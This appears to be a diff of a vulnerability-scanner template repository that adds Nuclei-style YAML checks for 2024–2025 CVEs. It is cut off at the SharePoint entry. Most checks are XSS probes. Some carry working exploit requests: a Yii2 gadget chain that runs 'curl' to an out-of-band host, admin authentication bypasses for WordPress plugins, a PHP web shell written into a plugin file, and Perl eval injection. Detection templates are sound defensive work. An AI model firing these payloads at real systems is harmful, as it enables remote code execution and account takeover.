http/cves/2024/CVE-2024-42852.yaml

@@ -0,0 +1,53 @@
+id: CVE-2024-42852
+
+info:
+  name: AcuToWeb server/10.5.0.7577c8b - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    AcuToWeb server/10.5.0.7577c8b is vulnerable to reflected cross-site scripting (XSS) via the portgw parameter. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
+  impact: |
+    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.
+  remediation: |
+    Update AcuToWeb to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the portgw parameter.
+  reference:
+    - https://github.com/Hebing123/cve/issues/64
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-42852
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2024-42852
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:opentext:acutoweb:10.5.0.7577c8b:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: opentext
+    product: acutoweb
+    fofa-query: title="AcuToWeb"
+    shodan-query: title:"AcuToWeb"
+  tags: cve,cve2024,xss,acutoweb,opentext
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?portgw=80089948;%20alert(document.domain)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "80089948; alert(document.domain);"
+          - "WT_GW_PORT"
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a00473045022100d25c6f71dd5b4c75666d5473745accbf34f23d664952fecb9af8515bcfe7180e02203f6654f54d53c4698a5c79ec3ccd5c11d29fdce9b72cd048dc16b90dee75bf15:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-50477.yaml

@@ -0,0 +1,62 @@
+id: CVE-2024-50477
+
+info:
+  name: WordPress Stacks Mobile App Builder <=5.2.3 - Authentication Bypass
+  author: stealthcopter,vijay-sutar
+  severity: critical
+  description: |
+    Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.
+  reference:
+    - https://github.com/stealthcopter/wordpress-hacking/blob/main/reports/stacks-mobile-app-builder-priv-esc/stacks-mobile-app-builder-priv-esc.md
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stacks-mobile-app-builder/stacks-mobile-app-builder-523-authentication-bypass-via-account-takeover
+    - https://patchstack.com/database/vulnerability/stacks-mobile-app-builder/wordpress-stacks-mobile-app-builder-plugin-5-2-3-account-takeover-vulnerability?_s_id=cve
+    - https://github.com/RandomRobbieBF/CVE-2024-50477
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-50477
+    cwe-id: CWE-288,CWE-306
+    epss-score: 0.34151
+    epss-percentile: 0.96759
+    cpe: cpe:2.3:a:stacksmarket:stacks_mobile_app_builder:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: stacks
+    product: stacks_mobile_app_builder
+    framework: wordpress
+  tags: cve,cve2024,wordpress,auth-bypass,account-takeover,wp-plugin,stacks
+
+http:
+  - raw:
+      - |
+        GET /wp-content/plugins/stacks-mobile-app-builder/readme.txt HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "Stacks Mobile App Builder")'
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        GET /?mobile_co=1&uid=1 HTTP/1.1
+        Host: {{Hostname}}
+
+  - raw:
+      - |
+        POST /wp-admin/index.php HTTP/1.1
+        Host: {{Hostname}}
+
+    redirects: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_all(body, "Dashboard","Plugins","Edit Profile")'
+        condition: and
+# digest: 4a0a00473045022063e7ec4cfd2931f30db830268cea85419ae657db35654a1a59ae37661282c59b022100d3724f6a54c52d39d63669376094ae39fdfe48d3fe278bbb38c3c2714eb92a3f:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-58136.yaml

@@ -0,0 +1,69 @@
+id: CVE-2024-58136
+
+info:
+  name: Yii2 PHP Framework < 2.0.52 - Remote Code Execution
+  author: ritikchaddha
+  severity: critical
+  description: |
+    Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.
+  reference:
+    - https://infosecwriteups.com/from-behaviors-to-shells-yii2-php-framework-rce-cve-2024-58136-exploit-and-mitigation-e47a60a3cecb
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-58136
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2024-58136
+    cwe-id: CWE-94
+    cpe: cpe:2.3:a:yiisoft:yii:2.0.0:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: yiisoft
+    product: yii
+    fofa-query: title="Yii"
+    shodan-query: title:"Yii"
+  tags: cve,cve2024,yii2,rce,php,framework
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    redirect: true
+    matchers:
+      - type: word
+        words:
+          - "Yii"
+        internal: true
+
+  - raw:
+      - |
+        POST /index.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}
+
+      - |
+        POST /index.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}
+
+    matchers-condition: or
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+
+      - type: word
+        words:
+          - "PHP Version"
+          - "PHP Extension"
+        condition: and
+# digest: 4a0a004730450221009e3a66563f628bfb0931e108df7fb9332af69b8dd5c2ee1c2bf6d74b2a92d31b02206d1f3f8c205f21ed450b477a9dba4866c2a8c5f2979da959a72e6b34c88e1e29:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-9007.yaml

@@ -0,0 +1,62 @@
+id: CVE-2024-9007
+
+info:
+  name: 123Solar 1.8.4.5 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    123Solar 1.8.4.5 is vulnerable to reflected cross-site scripting (XSS) via the date1 parameter in detailed.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
+  impact: |
+    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.
+  remediation: |
+    Update 123Solar to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the date1 parameter in detailed.php.
+  reference:
+    - https://github.com/Hebing123/cve/issues/73
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-9007
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2024-9007
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:123solar:123solar:1.8.4.5:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: 123solar
+    product: 123solar
+    fofa-query: title="123Solar"
+    shodan-query: title:"123Solar"
+  tags: cve,cve2024,xss,123solar
+
+http:
+  - raw:
+      - |
+        POST /123solar/{{path}} HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        date1=01/01/1967'><script>alert(document.domain)</script>&checkavgpower=on&checkPROD=on&checkPERF=on&checkIP1=on&checkIV1=on&checkIA1=on&checkPERF1=on&checkIP2=on&checkIV2=on&checkIA2=on&checkPERF2=on&checkG1P=on&checkG1V=on&checkG1A=on&checkFRQ=on&checkINVT=on&checkBOOT=on&checkEFF=on
+
+    payloads:
+      path:
+        - 'detailed.php'
+        - 'indexdetailed.php'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<script>alert(document.domain)</script>"
+          - "datepickid"
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a0047304502206cee150e5c7974ae526b1404530a6f430c45ec4381c1eb5ec2b864ffe34b9f3002210086ddff02dfb279fe347ac26f5f7766c1c108c51d26ac13f93a4e1fd2b1cc32eb:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-2709.yaml

@@ -0,0 +1,51 @@
+id: CVE-2025-2709
+
+info:
+  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the key and redirect parameters in login.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
+  reference:
+    - https://github.com/Hebing123/cve/issues/84
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-2709
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2025-2709
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: yonyou
+    product: ufida_erp-nc
+    fofa-query: icon_hash="1085941792"
+  tags: cve,cve2025,xss,erp-nc,ufida,yonyou
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login.jsp?onlyOnePerVM=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
+      - "{{BaseURL}}/login.jsp?redirect=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
+      - "{{BaseURL}}/login.jsp?nodeid=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<svg onload=alert(document.domain)>'
+          - 'this explore not support plug in'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a00473045022100c7d781fd44d88eb05d227a6bce61fb9599809aa90ee84373ecb377df351682a002202a54406a58c97d363c48ff6937cb9b33cb5523276bc2638bbaefaff773ff1f24:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-2710.yaml

@@ -0,0 +1,56 @@
+id: CVE-2025-2710
+
+info:
+  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the flag parameter in menu.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
+  impact: |
+    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities in the ERP system.
+  remediation: |
+    Update Yonyou UFIDA ERP-NC to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the flag parameter in menu.jsp.
+  reference:
+    - https://github.com/Hebing123/cve/issues/85
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-2710
+  classification:
+    cve-id: CVE-2025-2710
+    cwe-id: CWE-79
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: yonyou
+    product: ufida_erp-nc
+    fofa-query: icon_hash="1085941792"
+    shodan-query: title:"用友"
+  tags: cve,cve2025,xss,erp-nc,ufida,yonyou
+
+flow: http(1) && http(2)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.jsp"
+
+    host-redirects: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains_any(tolower(body), "yonyou nc", "name=\"ncapplet")'
+        internal: true
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/menu.jsp?flag=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body, "<script>alert(document.domain)</script>")'
+          - 'contains(content_type, "text/html")'
+          - 'status_code == 200'
+        condition: and
+# digest: 4b0a00483046022100c739c6e5e9b22c7014c725106dc91f50136a4a1174dea561bf2e92a643408de1022100aa5c8e4f2a3bc7554c7b53d610b3a18cefcd67a0c958e2e66395ca0f782164ce:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-2711.yaml

@@ -0,0 +1,55 @@
+id: CVE-2025-2711
+
+info:
+  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
+  impact: |
+    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities in the ERP system.
+  remediation: |
+    Update Yonyou UFIDA ERP-NC to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the langcode parameter in help JSP files.
+  reference:
+    - https://github.com/Hebing123/cve/issues/86
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-2711
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2025-2711
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 4
+    vendor: yonyou
+    product: ufida_erp-nc
+    fofa-query: icon_hash="1085941792"
+    shodan-query: title:"用友"
+  tags: cve,cve2025,xss,erp-nc,ufida,yonyou
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/help/systop.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E"
+      - "{{BaseURL}}/help/systop.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(document.domain)%3E"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<svg onload=alert(document.domain)>.png)'
+          - 'Search.jsp'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
+# digest: 490a0046304402207b6a2cfee4337b75b31315b612639e181c9d261e28a900c2dbbda37ddb568fa20220177ca42c7265a0b52015d865e483e60a0fb7197c6adc3c7a190862792c661d7b:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-2712.yaml

@@ -0,0 +1,49 @@
+id: CVE-2025-2712
+
+info:
+  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-2712
+  classification:
+    cve-id: CVE-2025-2712
+    cwe-id: CWE-79
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: yonyou
+    product: ufida_erp-nc
+    fofa-query: icon_hash="1085941792"
+  tags: cve,cve2025,xss,erp-nc,ufida,yonyou
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/help/top.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E"
+      - "{{BaseURL}}/help/top.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(document.domain)%3E"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<svg onload=alert(document.domain)>.png)'
+          - 'Search.jsp'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a0047304502200874597c1675b979e5897fa12242c9c05a9a3965ea8edade19e83cc779c73b2d022100aa604ba5bc0e5a7deb3da0440b072b567bd7be793b3201df12d9d7f558a67fab:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-31125.yaml

@@ -59,4 +59,4 @@ http:
         part: header
         words:
           - "text/javascript"
-# digest: 4a0a0047304502203890d2824d4dd3cb5eb86346c1ee508dbdae6c7ee142968939c8bc74a53eedfd022100e6b8f41928d519e62c863b3cc0dd8e4fc38996cc36c60792607bdd16c6e2f215:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220022509baf8bf0061068b849cff0cd46fa54211324f0a14f467bff99a4cfd67b902205e36b5ff54f1834aed937664171fa4b5da08b9461d836578cbcea9c4a98ff39a:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-34077.yaml

@@ -0,0 +1,49 @@
+id: CVE-2025-34077
+
+info:
+  name: WordPress Pie Register <= 3.7.1.4 - Authentication Bypass
+  author: kylew1004
+  severity: critical
+  description: |
+    An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.
+  reference:
+    - https://github.com/MrjHaxcore/CVE-2025-34077
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34077
+    - https://securityvulnerability.io/vulnerability/CVE-2025-34077
+  metadata:
+    verified: true
+    max-request: 1
+    publicwww-query: "/wp-content/plugins/pie-register/"
+  tags: cve,cve2025,wordpress,wp-plugin,pie-register,wp,auth-bypass
+
+http:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        user_id_social_site=1&social_site=true&piereg_login_after_registration=true&_wp_http_referer=/login/&log=null&pwd=null
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(set_cookie,'wordpress_logged_in_')"
+          - "status_code==302"
+        condition: and
+        internal: true
+
+  - raw:
+      - |
+        POST /wp-admin/index.php HTTP/1.1
+        Host: {{Hostname}}
+
+    redirects: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains_all(body, "Dashboard","Plugins","Edit Profile")'
+        condition: and
+# digest: 4a0a0047304502200c44a64bdab3daf3bea2fc8628c6891b0300c61c9b7ca0a72a394c3afd8f2f17022100d896d8d851cc799760c25a67ae2bf0877ec2c990fb8d05bb594390285cc7e469:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-34141.yaml

@@ -0,0 +1,67 @@
+id: CVE-2025-34141
+
+info:
+  name: ETQ Reliance - Reflected XSS via SQLConverterServlet
+  author: slcyber,pdresearch
+  severity: medium
+  description: |
+    A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.
+  impact: |
+    Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an authenticated user's browser session, potentially leading to session hijacking or unauthorized actions.
+  remediation: |
+    Upgrade to ETQ Reliance version SE.2025.1 or later where the SQLConverterServlet has been disabled.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34141
+    - https://slcyber.io/assetnote-security-research-center/how-we-accidentally-discovered-a-remote-code-execution-vulnerability-in-etq-reliance/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2025-34141
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:etq:reliance:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: etq
+    product: reliance
+    shodan-query: 'html:"ETQ Reliance"'
+    fofa-query: 'body="ETQ Reliance"'
+  tags: cve,cve2025,etq,reliance,xss,reflected-xss
+
+flow: |
+  http(1)
+  if(template.path){
+   http(2)
+  } else {
+   set("path","reliance")
+   http(2)
+  }
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    extractors:
+      - type: regex
+        part: header
+        internal: true
+        name: path
+        group: 1
+        regex:
+          - 'Location: https?://.*?/(.*?)/'
+
+  - raw:
+      - |
+        GET /reliance/SQLConverterServlet?MySQLStm=%3C/textarea%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '</textarea><img src=x onerror=alert(document.domain)>'
+          - 'You have to start the ENGINE application before using this form.'
+        condition: and
+# digest: 4b0a00483046022100d79a9fb39ae7598e9c6b66a0b423a621034ce06f0414ba40c60902ee29697d49022100ce66bec5502c43061c8644a1f32587b39c97fc5eec6b722912b2b88e3dcf6707:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-34300.yaml

@@ -0,0 +1,45 @@
+id: CVE-2025-34300
+
+info:
+  name: SawtoothSoftware Lighthouse Studio < 9.16.14 - Pre-Auth Remote Code Execution
+  author: assetnote,DhiyaneshDK,iamnoooob
+  severity: critical
+  description: |
+    A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.
+  reference:
+    - https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/
+    - https://sawtoothsoftware.com/resources/software-downloads/lighthouse-studio
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34300
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-34300
+    cwe-id: CWE-1336,CWE-20
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"Lighthouse Studio"
+  tags: cve,cve2025,lighthouse-studio,sawtoothsoftware,rce,ssti
+
+variables:
+  num1: "{{rand_int(40000, 44800)}}"
+  num2: "{{rand_int(40000, 44800)}}"
+  result: "{{to_number(num1)*to_number(num2)}}"
+
+http:
+  - raw:
+      - |
+        GET /cgi-bin/ciwweb.pl?hid_javascript=1&hid_Random_ACARAT=[%25{{num1}}*{{num2}}%25]&hid_Random_ACARAT=x HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'name="hid_Random_ACARAT" value="{{result}}"'
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a00483046022100e967692104709fc22a898c97ca8a229647c4b7ab8ebb512382af562309aba90f02210080d9547bf7323f88d5960588fdbcd595d0d5b7ddc39f329073b08e9f2c855339:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-40630.yaml

@@ -0,0 +1,49 @@
+id: CVE-2025-40630
+
+info:
+  name: IceWarp Mail Server ≤11.4.0 - Open Redirect
+  author: DhiyaneshDK
+  severity: medium
+  description: |
+    IceWarp Mail Server version 11.4.0 and below contains an open redirect vulnerability that allows attackers to redirect users to arbitrary external domains through malicious URLs.
+  impact: |
+    An attacker can craft malicious URLs to redirect users to external malicious websites, potentially leading to phishing attacks or credential theft.
+  remediation: |
+    Update IceWarp Mail Server to a version newer than 11.4.0. Implement proper URL validation and restrict redirects to trusted domains only.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-40630
+    - https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-icewarp-mail-server
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2025-40630
+    cwe-id: CWE-601
+    epss-score: 0.00059
+    epss-percentile: 0.18581
+    cpe: cpe:2.3:a:icewarp:mail_server:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: icewarp
+    product: mail_server
+    shodan-query: 'http.title:"IceWarp"'
+    fofa-query: 'title="IceWarp"'
+    google-query: intitle:"icewarp"
+  tags: cve,cve2025,icewarp,redirect,open-redirect
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/%2f%5c%2foast.pro%2f.."
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: header
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
+
+      - type: status
+        status:
+          - 302
+# digest: 4a0a00473045022056151dbcbdfefa6e92061c8402aa009ef1f4e28f61325c5796bda61409a028f7022100f0dedb688909273d97df3690b711baedae9f1d300a5a8fdec8df25e24bff8254:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-4427.yaml

@@ -40,9 +40,14 @@ http:
       - type: word
         part: body
         words:
-          - "Format 'Process[pid="
           - "localizedMessage"
-        condition: and
+
+      - type: regex
+        part: body
+        regex:
+          - "Format 'Process\\[pid="
+          - "Format 'java\\.lang\\.UNIXProcess@[0-9a-f]+'"
+        condition: or
 
       - type: word
         part: interactsh_protocol
@@ -52,4 +57,4 @@ http:
       - type: status
         status:
           - 400
-# digest: 4b0a00483046022100c06c67c67d53a450303fbac63bd2d4af96c826c5df4df276f716d96b49be1831022100a60fe8adb99d5197d9fc143d39d30337df5de132e2f190e72bf33c36637e5714:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100855ee4ca201277046cbb7aff27af23c47a67f213d173f3a39307ea7e11acb05802200dcbdf280caba913db4e117db656344fac1773d456a9c9891f1ab7f6a8e1aae9:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-49029.yaml

@@ -0,0 +1,47 @@
+id: CVE-2025-49029
+
+info:
+  name: WordPress Custom Login And Signup Widget Plugin <= 1.0 - Arbitrary Code Execution
+  author: pussycat0x
+  severity: high
+  description: |
+    Improper Control of Generation of Code ('Code Injection') vulnerability in bitto.Kazi Custom Login And Signup Widget allows Code Injection.This issue affects Custom Login And Signup Widget: from n/a through 1.0
+  reference:
+    - https://github.com/Nxploited/CVE-2025-49029
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/custom-login-and-signup-widget/custom-login-and-signup-widget-10-authenticated-administrator-remote-code-execution
+  metadata:
+    verified: true
+    max-request: 3
+    publicwww-query: "/wp-content/plugins/custom-login-and-signup-widget/"
+    fofa-query: body="/wp-content/plugins/custom-login-and-signup-widget/"
+  tags: cve,cve2025,wordpress,intrusive,plugin,wordpress-custom-login,file-upload
+
+http:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In
+
+      - |
+        POST /wp-admin/options-general.php?page=custom-login-and-signup-widget&editbn1=yes HTTP/1.1
+        Host: {{Hostname}}
+        Referer: {{RootURL}}/wp-admin/options-general.php?page=custom-login-and-signup-widget
+        Content-Type: application/x-www-form-urlencoded
+        Origin: {{RootURL}}
+
+        text=%3C%3Fphp+if%28isset%28%24_GET%5B%27cmd%27%5D%29%29+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&submit=Submit
+
+      - |
+        GET /wp-content/plugins/custom-login-and-signup-widget/content/sn.php HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(body_2, "custom-login-and-signup-widget")
+          - status_code_3 == 500
+        condition: and
+# digest: 4a0a00473045022020f77d39dabce7c3869b2ff99ddbf8bae68f1a35b3b4c2e30a3f14d123d9f84b022100c5ffbeb1cd5e3314769438ac03f61bb862290c3e8df4a51ccaae32d09e55f868:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-53770.yaml

@@ -0,0 +1,136 @@
+id: CVE-2025-53770
+
+info:
+  name: Microsoft SharePoint Server - Remote Code Execution (ToolShell)
+  author: _l0gg,SamIntruder,sfewer-r7,iamnoooob,pdresearch
+  severity: critical
+  description: |
